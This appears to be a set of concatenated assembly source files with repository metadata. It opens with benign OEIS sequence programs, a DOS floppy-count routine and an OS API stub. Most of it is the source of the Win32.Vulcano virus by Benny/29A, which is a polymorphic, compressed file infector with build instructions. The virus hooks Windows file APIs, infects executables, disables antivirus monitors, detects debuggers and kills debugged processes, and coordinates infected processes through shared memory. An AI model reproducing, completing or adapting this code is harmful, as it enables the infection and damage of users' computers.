afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/061/A061502.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/061/A061502.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A061502: a(n) = Sum_{k<=n} tau(k)^2, where tau = number of divisors function A000005. ; 1,5,9,18,22,38,42,58,67,83,87,123,127,143,159,184,188,224,228,264,280,296,300,364,373,389,405,441,445,509,513,549,565,581,597,678,682,698,714,778,782,846,850,886,922,938,942,1042,1051,1087,1103,1139,1143,1207,1223,1287,1303,1319,1323,1467,1471,1487,1523,1572,1588,1652,1656,1692,1708,1772,1776,1920,1924,1940,1976,2012,2028,2092,2096,2196,2221,2237,2241,2385,2401,2417,2433,2497,2501,2645,2661,2697,2713,2729,2745,2889,2893,2929,2965,3046 lpb $0 mov $2,$0 sub $0,1 seq $2,35116 ; a(n) = tau(n)^2, where tau(n) = A000005(n). add $1,$2 lpe add $1,1 mov $0,$1
54.666667
440
0.705793
2548381b2a64a822eec58b6428bbd896c76c03c2
435
asm
Assembly
programs/oeis/114/A114239.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/114/A114239.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/114/A114239.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A114239: a(n) = (n+1)(n+2)^3*(n+3)(n^2 + 4n + 5)/120. ; 1,18,136,650,2331,6860,17472,39852,83325,162382,298584,522886,878423,1423800,2236928,3419448,5101785,7448874,10666600,15008994,20786227,28373444,38220480,50862500,66931605,87169446,112440888,143748766 add $0,2 mov $2,$0 mov $4,$0 pow $4,5 sub $4,$0 mov $5,$0 lpb $0 sub $0,1 trn $1,$5 add $1,$2 mov $3,3 lpe pow $1,2 mul $3,$4 mul $1,$3 sub $1,360 div $1,360 add $1,1
19.772727
202
0.662069
5d965fa283034f5cd06faaee4ca3df6664154882
469
asm
Assembly
programs/oeis/187/A187601.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/187/A187601.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/187/A187601.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A187601: n/2 times period 6 sequence [1, 2, 3, 4, 3, 2, ...]. ; 0,1,3,6,6,5,3,7,12,18,15,11,6,13,21,30,24,17,9,19,30,42,33,23,12,25,39,54,42,29,15,31,48,66,51,35,18,37,57,78,60,41,21,43,66,90,69,47,24,49,75,102,78,53,27,55,84,114,87,59,30,61,93,126,96,65,33,67,102,138,105,71,36,73,111,150,114,77,39,79,120,162,123,83,42,85,129,174,132,89,45,91,138,186,141,95,48,97,147,198 mov $2,$0 pow $0,2 add $0,1 lpb $0 div $0,2 mod $0,6 add $1,$2 lpe div $1,2 mov $0,$1
33.5
311
0.622601
315df8d82e6b5fea32296ef94fdccbe09a290729
1,414
asm
Assembly
install/lib/disk/numdrvs.asm
minblock/msdos
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
[ "Apache-2.0" ]
null
null
null
install/lib/disk/numdrvs.asm
minblock/msdos
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
[ "Apache-2.0" ]
null
null
null
install/lib/disk/numdrvs.asm
minblock/msdos
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
[ "Apache-2.0" ]
null
null
null
;======================================================== COMMENT # NUMDRVS.ASM Copyright (c) 1991 - Microsoft Corp. All rights reserved. Microsoft Confidential ================================================= Uses function 8h of int 13h or if this is not available, int 11h to return the total number of floppy drives in the system. int GetNumberOfDrives( void ); ARGUMENTS: NONE RETURN: int - Number of drives installed NOTE: 10/26/90 Must save DS because of bug in Leading Edge 8088 3.10 BIOS. ================================================= johnhe - 06/06/89 END COMMENT # ; ======================================================= INCLUDE disk_io.inc INCLUDE model.inc ; ======================================================= .CODE ; ======================================================= GetNumberOfDrives PROC mov AH,8 xor DX,DX push BP ; Bug in leading Edge requires push DI ; saving all of these registers push SI push DS push ES int 13h pop ES pop DS pop SI pop DI pop BP jc TrySwitches xor AX,AX mov AL,DL ret TrySwitches: int 11h ; Get BIOS equipment flags mov CL,6 ; Shift over floppy disk bits shr AX,CL and AX,11b ; Mask off the disk bits inc AX ; Add 1 ret GetNumberOfDrives ENDP ; ======================================================= END ; =======================================================
17.898734
57
0.475248
e66d58d04e2bffc55c6ac8b535bf819b640e308c
166
asm
Assembly
day27/harib24e/api/api015.asm
itiB/hariboteOS_30days
f04fccc0f394f3f1687c547e65658af429898f48
[ "MIT" ]
1
2020-02-16T05:07:34.000Z
2020-02-16T05:07:34.000Z
day30/apilib/api015.asm
itiB/hariboteOS_30days
f04fccc0f394f3f1687c547e65658af429898f48
[ "MIT" ]
null
null
null
day30/apilib/api015.asm
itiB/hariboteOS_30days
f04fccc0f394f3f1687c547e65658af429898f48
[ "MIT" ]
null
null
null
[CPU 486] [BITS 32] GLOBAL api_alloctimer section .text api_alloctimer: ; int api_alloctimer(void); MOV EDX, 16 INT 0x40 RET
15.090909
44
0.578313
c124e4115f89d51b345c249c8ef05584be82d7fa
300
asm
Assembly
oeis/130/A130269.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/130/A130269.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/130/A130269.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A130269: A002260 * A051340. ; 1,3,4,6,7,9,10,11,13,16,15,16,18,21,25,21,22,24,27,31,36,28,29,31,34,38,43,49,36,37,39,42,46,51,57,64,45,46,48,51,55,60,66,73,81,55,56,58,61,65,70,76,83,91,100 mov $2,$0 add $2,1 lpb $0 add $1,1 sub $0,$1 lpe lpb $0 sub $0,1 add $1,$0 lpe add $1,$2 mov $0,$1
18.75
161
0.6
e4f68178b1e9632a04b53b743b797275dfde9a07
458
asm
Assembly
verify/alfy/5_loop/numbers_down.alfy.asm
alexandruradovici/alf-alfy-asm-public
43a73cc13c38f39125620fb9bd566c261cff1c73
[ "BSD-2-Clause" ]
null
null
null
verify/alfy/5_loop/numbers_down.alfy.asm
alexandruradovici/alf-alfy-asm-public
43a73cc13c38f39125620fb9bd566c261cff1c73
[ "BSD-2-Clause" ]
2
2017-05-18T20:29:57.000Z
2017-05-19T19:03:07.000Z
verify/alfy/5_loop/numbers_down.alfy.asm
alexandruradovici/alf-alfy-asm-language-public
43a73cc13c38f39125620fb9bd566c261cff1c73
[ "BSD-2-Clause" ]
null
null
null
; script start: ; for ; from ; value int 6 set r2 6 ; to ; value int 1 set r3 1 ; step ; value int 1 set r4 1 ; variable ; i: r5 set r5 0 mov r6 r2 store r5 r6 for_0: test r6 r3 jl endfor_0 ; asm ; i: r7 set r7 0 load r7 r7 writenumber r7 sub r6 r6 r4 store r5 r6 jmp for_0 endfor_0: stop
14.774194
23
0.427948
1a0b916ff17367f32e67aef6ddb14e6ed822cb2f
399
asm
Assembly
programs/oeis/099/A099150.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/099/A099150.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/099/A099150.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A099150: Positive integers k such that f(k)+f(k)=concatenation of k and k, where f(k)=k(k+3)/2 (A000096). ; 8,98,998,9998,99998,999998,9999998,99999998,999999998,9999999998,99999999998,999999999998,9999999999998,99999999999998,999999999999998,9999999999999998,99999999999999998,999999999999999998,9999999999999999998,99999999999999999998 mov $1,10 pow $1,$0 sub $1,1 mul $1,10 add $1,8 mov $0,$1
39.9
231
0.79198
e9dfd0669828ea17d3545992146c80ea701e0c1f
133
asm
Assembly
libsrc/stdlib/wpeek.asm
dex4er/deb-z88dk
9ee4f23444fa6f6043462332a1bff7ae20a8504b
[ "ClArtistic" ]
1
2018-09-04T23:07:24.000Z
2018-09-04T23:07:24.000Z
libsrc/stdlib/wpeek.asm
dex4er/deb-z88dk
9ee4f23444fa6f6043462332a1bff7ae20a8504b
[ "ClArtistic" ]
null
null
null
libsrc/stdlib/wpeek.asm
dex4er/deb-z88dk
9ee4f23444fa6f6043462332a1bff7ae20a8504b
[ "ClArtistic" ]
null
null
null
; uint __FASTCALL__ wpeek(void *addr) ; 11.2006 aralbrec XLIB wpeek .wpeek ld e,(hl) inc hl ld d,(hl) ex de,hl ret
10.230769
37
0.609023
74b36c2f0368f31fc75b45a1d873d9350dfeea58
67,540
asm
Assembly
Win32/Win32.Vulcano/Win32.Vulcano.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:13.000Z
2022-03-16T09:11:05.000Z
Win32/Win32.Vulcano/Win32.Vulcano.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
null
null
null
Win32/Win32.Vulcano/Win32.Vulcano.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:15.000Z
2022-01-08T20:51:04.000Z
; ??????? ??????? ??????? ; ??? ??? ??? ??? ??? ??? ; Win32.Vulcano ?????? ??????? ??????? ; by Benny/29A ??????? ??????? ??? ??? ; ??????? ??????? ??? ??? ; ; ; ;Description ;???????????? ; ; ;Hello everybody, ; ;I was wrong. Not BeGemot, but Vulcano is my best virus :D. It has lot of nice ;and never published features and it is ofcoz, very optimized. I hope u will ;like, coz this took me much time to code and even more time to test it. Here ;comes a little description of that. Heh, this is my best virus and it has very ;small description - I don't know how to better present it than just write ;a list of its features. Enjoy it! ; ;This virus is: ; - the first multiprocess Win32 (Win95/98/NT/2k compatible) ; virus with interprocess communication(!!!) ; - per-process resident multithreaded fast mid-infector ; - polymorphic using two layers - advanced BPE32 and ; second semi-morpher ; - compressed using BCE32 ; - heavilly armoured ; - CRC32 protected ; - undetectable by any antivirus ; ;This virus uses: ; - Structured Exception Handling ; - EPO routines (virus patches one imported API) ; - CRC32 records instead of raw ANSI strings ; - Anti-* routines ; - Pentium and undocumented instructions (also in poly decryptor) ; ;This virus doesn't: ; - infect system files ; - infect files which doesn't contain .reloc section ; - infect small files ; - enlarge file ; - contain any payload ; ;This virus is able to: ; - deactivate some AV monitors ; - infect EXE/SCR/SFX/CPL/DAT/BAK files ; - overwrite relocations ; - communicate with other instances of virus ; ;And much more. In short words, this virus presents many new hot features never ;been published. ; ; ; ;Interprocess communication (IPC) ;????????????????????????????????? ; ; ;This is the best part of the virus :). The main idea is: make all actions ;in another process. Imagine, virus does nothing. Nothing in actual process. ;But if another infected program is running in system, virus will pass control ;to that instance of virus. This very difficult stuff is realised by file mapping ;mirrored in swap file, mutexes and threads. That code is very optimized, but ;unfortunetely, it contains some bugs, which fortunately aren't much visible. ;In 99,9999% of all cases u won't see anything suspicious. That's truth. ; ; ; ;What will happen on execution ? ;???????????????????????????????- ; ; ;Virus will (after patched API will be called): ;1) Decrypt it's body by polymorphic decryptor ;2) Decompress virus body ;3) Decrypt virus body by 2nd decryptor ;4) Check consistency of virus body by CRC32 - this prevents from setting ; breakpoints ;5) Check for Pentium processor ;6) Find base of Kernel32.dll in memory ;7) Find all needed APIs (using CRC32) ;8) Create new thread which will hook some API functions ;9) Wait for thread termination ;10) Create/Open the space in swap file and initialize (create new) record ; for IPC ;11) Create new thread for IPC ;12) Jump to host ; ; ;After hooked API call (API manipulating with files) will virus: ;1) Get file name ;2) Check file properties via IPC ;3) Open file, check it and infect it via IPC ;4) Call original API (depending on API) ; ; ;After hooked API call (ExitProcess, GetLastError, ...) will virus: ;1) Check for application level debugger via IPC (if found, process will be ; remotely terminated - veeery nice feature :)) ;2) Check for system level debugger (SoftICE) via IPC ;3) Check for monitors in memory via IPC ;4) Find random file ;5) Check it via IPC ;6) Check and infect it via IPC ; ; ;IPC thread in memory will: ;1) Check for new request ;2) Do property action ;3) Pass execution to next thread ; ; ; ;Greetz ;??????? ; ; ; Darkman/29A.... Finally I finished it! Hope u like it... ; Billy_Bel...... Where r u? Please mail me... ; GriYo.......... U genius! ; flush.......... no, neni to sice tak super jako to vase, ale da se to ; snest, doufam :) ; StarZer0....... Who is Axelle? X-D ; ; ; ;How to build it ;???????????????? ; ; ; tasm32 -ml -m9 -q vulcano.asm ; tlink32 -Tpe -c -x -aa -r vulcano,,, import32 ; pewrsec vulcano.exe ; ; ; ;Last notes ;??????????? ; ;Yeah, I'm really happy, coz I finished that. It was very hard to code it and ;much harder to debug it. I know it has some small bugs, but I hope u will like ;it over the all negative aspects as buggy code is. Please, tell me what do u ;think about it on IRC, or by mail. I can provide u binary form and if u want ;to have it, then there's nothing easier than contact me on benny@post.cz. ;The hardest thing to code was synchronization module. In first versions of ;Vulcano I used normal variable as semaphores, but the code was very slow and ;buggy. Then I recompiled it with mutexes and it worked much better. However, ;there is still code, which I can't and don't want to change. ;Last thing: this virus wasn't coded for spreading, but just and ONLY for ;education purposes only. It infects only huge files with relocation table ;and I hope it is kewl virus without all those spread-features. ; ; ; ;(c) 1999 Benny/29A. Enjoy! .586p ;why not ;) .model flat ;FLAT model include mz.inc ;include some important include pe.inc ;include-filez include win32api.inc include useful.inc ;some instructions push_LARGE_0 equ ;PUSH LARGE 0 SALC equ ;SALC opcode RDTCS equ ;RDTCS ;some equates for VLCB (VLCB = VuLcano Control Block) VLCB_Signature equ 00 ;signature VLCB_TSep equ 08 ;record separator VLCB_THandle equ 00 ;mutex handle VLCB_TID equ 04 ;ID of service VLCB_TData equ 08 ;data VLCB_TSize equ SIZEOF_WIN32_FIND_DATA+8;size of one record VLCB_SetWait equ 00 ;set data and wait for result VLCB_WaitGet equ 01 ;wait for signalisation and get data VLCB_Quit equ 01 ;quit VLCB_Check equ 02 ;check file VLCB_Infect equ 03 ;infect file VLCB_Debug1 equ 04 ;check for app level debugger VLCB_Debug2 equ 05 ;check for SoftICE VLCB_Monitor equ 06 ;check for AVP and AMON monitors j_api macro API ;JMP DWORD PTR [XXXXXXXXh] dw 25ffh API dd ? endm c_api macro API ;CALL DWORD PTR [XXXXXXXXh] dw 15ffh API dd ? endm extrn GetModuleHandleA:PROC ;APIs needed in first extrn ExitProcess:PROC ;generation only .data ;data section VulcanoInit: ;Start of virus SALC ;undoc. opcode to fuck emulators push dword ptr [offset _GetModuleHandleA] ;push original API ddAPI = dword ptr $-4 push 400000h ;push image base ImgBase = dword ptr $-4 pushad ;store all registers call gd ;get delta offset gd: pop ebp ;... lea esi, [ebp + _compressed_ - gd] ;where is compressed virus ;stored lea edi, [ebp + decompressed - gd] ;where will be virus ;decompressed mov ecx, 0 ;size of compressed virus c_size = dword ptr $-4 ;Decompression routine from BCE32 starts here. pushad ;save all regs xor eax, eax ;EAX = 0 xor ebp, ebp ;EBP = 0 cdq ;EDX = 0 lodsb ;load decryption key push eax ;store it lodsb ;load first byte push 8 ;store 8 push edx ;store 0 d_bits: push ecx ;store ECX test al, 80h ;test for 1 jne db0 test al, 0c0h ;test for 00 je db1 test al, 0a0h ;test for 010 je db2 mov cl, 6 ;its 011 jmp tb2 testb: test bl, 1 ;is it 1 ? jne p1 push 0 ;no, store 0 _tb_: mov eax, ebp ;load byte to EAX or al, [esp] ;set bit ror al, 1 ;and make space for next one call cbit ret p1: push 1 ;store 1 jmp _tb_ ;and continue db0: xor cl, cl ;CL = 0 mov byte ptr [esp+4], 1 ;store 1 testbits: push eax ;store it push ebx ;... mov ebx, [esp+20] ;load parameter ror bl, cl ;shift to next bit group call testb ;test bit ror bl, 1 ;next bit call testb ;test it pop ebx ;restore regs pop eax mov ecx, [esp+4] ;load parameter bcopy: cmp byte ptr [esp+8], 8 ;8. bit ? jne dnlb ;nope, continue mov ebx, eax ;load next byte lodsb xchg eax, ebx mov byte ptr [esp+8], 0 ;and nulify parameter dec dword ptr [esp] ;decrement parameter dnlb: shl al, 1 ;next bit test bl, 80h ;is it 1 ? je nb ;no, continue or al, 1 ;yeah, set bit nb: rol bl, 1 ;next bit inc byte ptr [esp+8] ;increment parameter loop bcopy ;and align next bits pop ecx ;restore ECX inc ecx ;test flags dec ecx ;... jns d_bits ;if not sign, jump pop eax ;delete pushed parameters pop eax ;... pop eax ;... popad ;restore all regs jmp decompressed cbit: inc edx ;increment counter cmp dl, 8 ;byte full ? jne n_byte ;no, continue stosb ;yeah, store byte xor eax, eax ;and prepare next one cdq ;... n_byte: mov ebp, eax ;save back byte ret Pshd ;quit from procedure with one parameter on stack db1: mov cl, 2 ;2. bit in decryption key mov byte ptr [esp+4], 2 ;2 bit wide jmp testbits ;test bits db2: mov cl, 4 ;4. bit tb2: mov byte ptr [esp+4], 3 ;3 bit wide jmp testbits ;test bits _compressed_ db virus_end-compressed+200h dup (?) ;here is stored compressed ;virus body decompressed: db virus_end-compressed dup (?) ;here decompressed db size_unint dup (?) ;and here all uninitialized ;variables virtual_end: ;end of virus in memory ends .code ;start of code section first_gen: ;first generation code ;second layer of encryption mov esi, offset encrypted ;encrypt from... mov ecx, (virus_end-encrypted+3)/4 ;encrypt how many bytes... encrypt1: lodsd ;get dword xor eax, 1 ;encrypt mov [esi-4], eax ;and store it loop encrypt1 ; mov esi, offset compressed ;source mov edi, offset _compressed_ ;destination mov ecx, virus_end-compressed+2 ;size mov ebx, offset workspace1 ;workspace1 mov edx, offset workspace2 ;workspace2 call BCE32_Compress ;Compress virus body! dec eax mov [c_size], eax ;save compressed virus size push 0 ;parameter for GetModuleHandleA call VulcanoInit ;call virus code push 0 ;parameter for ExitProcess call ExitProcess ;this will be hooked by virus l8r ;Compression routine from BCE32 starts here. This is used only in first gen. BCE32_Compress Proc pushad ;save all regs ;stage 1 pushad ;and again create_table: push ecx ;save for l8r usage push 4 pop ecx ;ECX = 4 lodsb ;load byte to AL l_table:push eax ;save it xor edx, edx ;EDX = 0 and al, 3 ;this stuff will separate and test je st_end ;bit groups cmp al, 2 je st2 cmp al, 3 je st3 st1: inc edx ;01 jmp st_end st2: inc edx ;10 inc edx jmp st_end st3: mov dl, 3 ;11 st_end: inc dword ptr [ebx+4*edx] ;increment count in table pop eax ror al, 2 ;next bit group loop l_table pop ecx ;restore number of bytes loop create_table ;next byte push 4 ;this will check for same numbers pop ecx ;ECX = 4 re_t: cdq ;EDX = 0 t_loop: mov eax, [ebx+4*edx] ;load DWORD inc dword ptr [ebx+4*edx] ;increment it cmp eax, [ebx] ;test for same numbers je _inc_ ;... cmp eax, [ebx+4] ;... je _inc_ ;... cmp eax, [ebx+8] ;... je _inc_ ;... cmp eax, [ebx+12] ;... jne ninc_ ;... _inc_: inc dword ptr [ebx+4*edx] ;same, increment it inc ecx ;increment counter (check it in next turn) ninc_: cmp dl, 3 ;table overflow ? je re_t ;yeah, once again inc edx ;increment offset to table loop t_loop ;loop popad ;restore regs ;stage 2 pushad ;save all regs mov esi, ebx ;get pointer to table push 3 pop ebx ;EBX = 3 mov ecx, ebx ;ECX = 3 rep_sort: ;bubble sort = the biggest value will ;always "bubble up", so we know number ;steps push ecx ;save it mov ecx, ebx ;set pointerz mov edi, edx ;... push edx ;save it lodsd ;load DWORD (count) mov edx, eax ;save it sort: lodsd ;load next cmp eax, edx ;is it bigger jb noswap ;no, store it xchg eax, edx ;yeah, swap DWORDs noswap: stosd ;store it loop sort ;next DWORD mov eax, edx ;biggest in EDX, swap it stosd ;and store lea esi, [edi-16] ;get back pointer pop edx ;restore regs pop ecx loop rep_sort ;and try next DWORD popad ;stage 3 pushad ;save all regs xor eax, eax ;EAX = 0 push eax ;save it push 4 pop ecx ;ECX = 4 n_search: push edx ;save regs push ecx lea esi, [ebx+4*eax] ;get pointer to table push eax ;store reg lodsd ;load DWORD to EAX push 3 pop ecx ;ECX = 3 mov edi, ecx ;set pointerz search: mov esi, edx push eax ;save it lodsd ;load next mov ebp, eax pop eax cmp eax, ebp ;end ? je end_search dec edi ;next search add edx, 4 loop search end_search: pop eax ;and next step inc eax pop ecx pop edx add [esp], edi rol byte ptr [esp], 2 loop n_search pop [esp.Pushad_ebx] ;restore all popad ;... ;stage 4 xor ebp, ebp ;EBP = 0 xor edx, edx ;EDX = 0 mov [edi], bl ;store decryption key inc edi ;increment pointer next_byte: xor eax, eax ;EAX = 0 push ecx lodsb ;load next byte push 4 pop ecx ;ECX = 4 next_bits: push ecx ;store regs push eax and al, 3 ;separate bit group push ebx ;compare with next group and bl, 3 cmp al, bl pop ebx je cb0 push ebx ;compare with next group ror bl, 2 and bl, 3 cmp al, bl pop ebx je cb1 push ebx ;compare with next group ror bl, 4 and bl, 3 cmp al, bl pop ebx je cb2 push 0 ;store bit 0 call copy_bit push 1 ;store bit 1 call copy_bit cb0: push 1 ;store bit 1 end_cb1:call copy_bit pop eax pop ecx ror al, 2 loop next_bits ;next bit pop ecx loop next_byte ;next byte mov eax, edi ;save new size sub eax, [esp.Pushad_edi] ;... mov [esp.Pushad_eax], eax ;... popad ;restore all regs cmp eax, ecx ;test for negative compression jb c_ok ;positive compression stc ;clear flag ret ;and quit c_ok: clc ;negative compression, set flag ret ;and quit cb1: push 0 ;store bit 0 end_cb2:call copy_bit push 0 ;store bit 0 jmp end_cb1 cb2: push 0 ;store bit 0 call copy_bit push 1 ;store bit 1 jmp end_cb2 copy_bit: mov eax, ebp ;get byte from EBP shl al, 1 ;make space for next bit or al, [esp+4] ;set bit jmp cbit BCE32_Compress EndP ;end of compression procedure compressed: ;compressed body starts here @SEH_SetupFrame ;setup SEH frame call gdlta ;calculate delta offset gdelta: dd ddFindFirstFileA-gdelta ;addresses dd ddFindNextFileA-gdelta ;of variables dd ddFindClose-gdelta ;where will dd ddSetFileAttributesA-gdelta ;be stored dd ddSetFileTime-gdelta ;addresses of APIs dd ddCreateFileA-gdelta dd ddCreateFileMappingA-gdelta dd ddMapViewOfFile-gdelta dd ddUnmapViewOfFile-gdelta dd ddCreateThread-gdelta dd ddWaitForSingleObject-gdelta dd ddCloseHandle-gdelta dd ddCreateMutexA-gdelta dd ddReleaseMutex-gdelta dd ddOpenMutexA-gdelta dd ddSleep-gdelta dd ddVirtualProtect-gdelta dd ddGetCurrentProcessId-gdelta dd ddOpenProcess-gdelta dd ddTerminateProcess-gdelta dd ddLoadLibraryA-gdelta dd ddGetProcAddress-gdelta dd ddFreeLibrary-gdelta dd ? ;end of record newHookers: dd newFindFirstFileA-gdelta ;addresses of API hookers dd newFindNextFileA-gdelta dd newCopyFileA-gdelta dd newCopyFileExA-gdelta dd newCreateFileA-gdelta dd newCreateProcessA-gdelta dd newDeleteFileA-gdelta dd newGetFileAttributesA-gdelta dd newGetFullPathNameA-gdelta dd new_lopen-gdelta dd newMoveFileA-gdelta dd newMoveFileExA-gdelta dd newOpenFile-gdelta dd newSetFileAttributesA-gdelta dd newWinExec-gdelta dd newExitProcess-gdelta dd newExitThread-gdelta dd newGetLastError-gdelta dd newCloseHandle-gdelta dd ? ;end of record oldHookers: dd oldFindFirstFileA-gdelta ;addresses, where will be dd oldFindNextFileA-gdelta ;stored original dd oldCopyFileA-gdelta ;API callers dd oldCopyFileExA-gdelta dd oldCreateFileA-gdelta dd oldCreateProcessA-gdelta dd oldDeleteFileA-gdelta dd oldGetFileAttributesA-gdelta dd oldGetFullPathNameA-gdelta dd old_lopen-gdelta dd oldMoveFileA-gdelta dd oldMoveFileExA-gdelta dd oldOpenFile-gdelta dd oldSetFileAttributesA-gdelta dd oldWinExec-gdelta dd oldExitProcess-gdelta dd oldExitThread-gdelta dd oldGetLastError-gdelta dd oldCloseHandle-gdelta gdlta: pop ebp ;get delta offset lea esi, [ebp + encrypted - gdelta] ;get start of encrypted code mov ecx, (virus_end-encrypted+3)/4 ;number of dwords to encrypt push es ;save selector push ds pop es ;ES=DS decrypt:lodsd ;load dword xor eax, 1 ;decrypt it mov es:[esi-4], eax ;save dword with AntiAV (usage of loop decrypt ;selectors) encrypted: ;encrypted code starts here pop es ;restore selector lea esi, [ebp + crc32prot - gdelta] ;start of CRC32 protected code mov edi, virus_end-crc32prot ;size of that call CRC32 ;calculate CRC32 cmp eax, 05BB5B647h ;check for consistency crc32prot: jne jmp_host ;jump to host if breakpoints set and such ;Pentium+ check pushad pushfd ;save EFLAGS pop eax ;get them mov ecx, eax ;save them or eax, 200000h ;flip ID bit in EFLAGS push eax ;store popfd ;flags pushfd ;get them back pop eax ;... xor eax, ecx ;same? je end_cc ;shit, we r on 486- xor eax, eax ;EAX=0 inc eax ;EAX=1 cpuid ;CPUID and eax, 111100000000b ;mask processor family cmp ah, 4 ;is it 486? je end_cc ;baaaaaaad popad mov eax, ds ;this will fuck push eax ;some old versions pop ds ;of NodICE mov ebx, ds xor eax, ebx jne jmp_host mov eax, 77F00000h ;WinNT 4.0 k32 image base call get_base jecxz k32_found ;we got image base mov eax, 77E00000h ;Win2k k32 image base call get_base jecxz k32_found ;we got image base mov eax, 77ED0000h ;Win2k k32 image base call get_base jecxz k32_found ;we got image base mov eax, 0BFF70000h ;Win95/98 k32 image base call get_base test ecx, ecx jne jmp_host ;base of k32 not found, quit push cs lea ebx, [ebp + k32_found - gdelta] ;continue on another label push ebx retf ;fuck u emulator! :) end_cc: popad ;restore all registers jmp jmp_host ;and jump to host db 'Win32.Vulcano by Benny/29A' ;little signature :) k32_found: mov ebx, [esp.cPushad+8] ;get image base of app mov [ebp + GMHA - gdelta], ebx ;save it add ebx, [ebx.MZ_lfanew] ;get to PE header lea esi, [ebp + crcAPIs - gdelta] ;start of CRC32 API table mov edx, ebp ;get table of pointers s_ET: mov edi, [edx] ;get item test edi, edi ;is it 0? je end_ET ;yeah, work is done add edi, ebp ;normalize push eax ;save EAX call SearchET ;search for API stosd ;save its address test eax, eax ;was it 0? pop eax ;restore EAX je jmp_host ;yeah, error, quit add esi, 4 ;correct pointers add edx, 4 ;to pointers... jmp s_ET ;loop get_base: pushad ;save all registers @SEH_SetupFrame ;setup SEH frame xor ecx, ecx ;set error value inc ecx cmp word ptr [eax], IMAGE_DOS_SIGNATURE ;is it EXE? jne err_gbase ;no, quit dec ecx ;yeah, set flag err_gbase: ;and quit @SEH_RemoveFrame ;remove SEH frame mov [esp.Pushad_ecx], ecx ;save flag popad ;restore all registers ret ;and quit from procedure end_ET: lea eax, [ebp + tmp - gdelta] ;now we will create new push eax ;thread to hide writing to xor eax, eax ;Import table push eax push ebp ;delta offset lea edx, [ebp + NewThread - gdelta] ;address of thread procedure push edx push eax ;and other shit to stack push eax mov eax, 0 ddCreateThread = dword ptr $-4 call eax ;create thread! test eax, eax ;is EAX=0? je jmp_host ;yeah, quit push eax ;parameter for CloseHandle push -1 ;infinite loop push eax ;handle of thread call [ebp + ddWaitForSingleObject - gdelta] ;wait for thread termination call [ebp + ddCloseHandle - gdelta] ;close thread handle ;now we will create space in shared memory for VLCB structure call @VLCB db 'VLCB',0 ;name of shared area @VLCB: push 2000h ;size of area push 0 push PAGE_READWRITE push 0 push -1 ;SWAP FILE! call [ebp + ddCreateFileMappingA - gdelta] ;open area test eax, eax je jmp_host ;quit if error xor edx, edx push edx push edx push edx push FILE_MAP_WRITE push eax call [ebp + ddMapViewOfFile - gdelta] ;map view of file to address xchg eax, edi ;space of virus test edi, edi je end_gd1 ;quit if error mov [ebp + vlcbBase - gdelta], edi ;save base address ;now we will create named mutex call @@@1 ;push address of name @@1: dd 0 ;random name @@@1: RDTCS ;get random number mov edx, [esp] ;get address of name shr eax, 8 ;terminate string with \0 mov [edx], eax ;and save it mov esi, [esp] ;get address of generated name push 0 push 0 mov eax, 0 ddCreateMutexA = dword ptr $-4 call eax ;create mutex test eax, eax je end_gd2 ;quit if error ;now we will initialize VLCB structure xor edx, edx ;EDX=0 mov eax, edi ;get base of VLCB mov [eax.VLCB_Signature], 'BCLV' ;save signature ;now we will initialize record for thread mov ecx, 20 ;20 communication channels sr_t: cmp dword ptr [edi.VLCB_TSep.VLCB_THandle], 0 ;check handle jne tnext ;if already reserved, then try next mov esi, [esi] ;get name of mutex mov [edi.VLCB_TSep.VLCB_THandle], esi ;save it mov [ebp + t_number - gdelta], edx ;and save ID number of mutex lea eax, [ebp + tmp - gdelta] ;create new thread push eax ;for IPC xor eax, eax push eax push ebp lea edx, [ebp + mThread - gdelta] ;address of thread procedure push 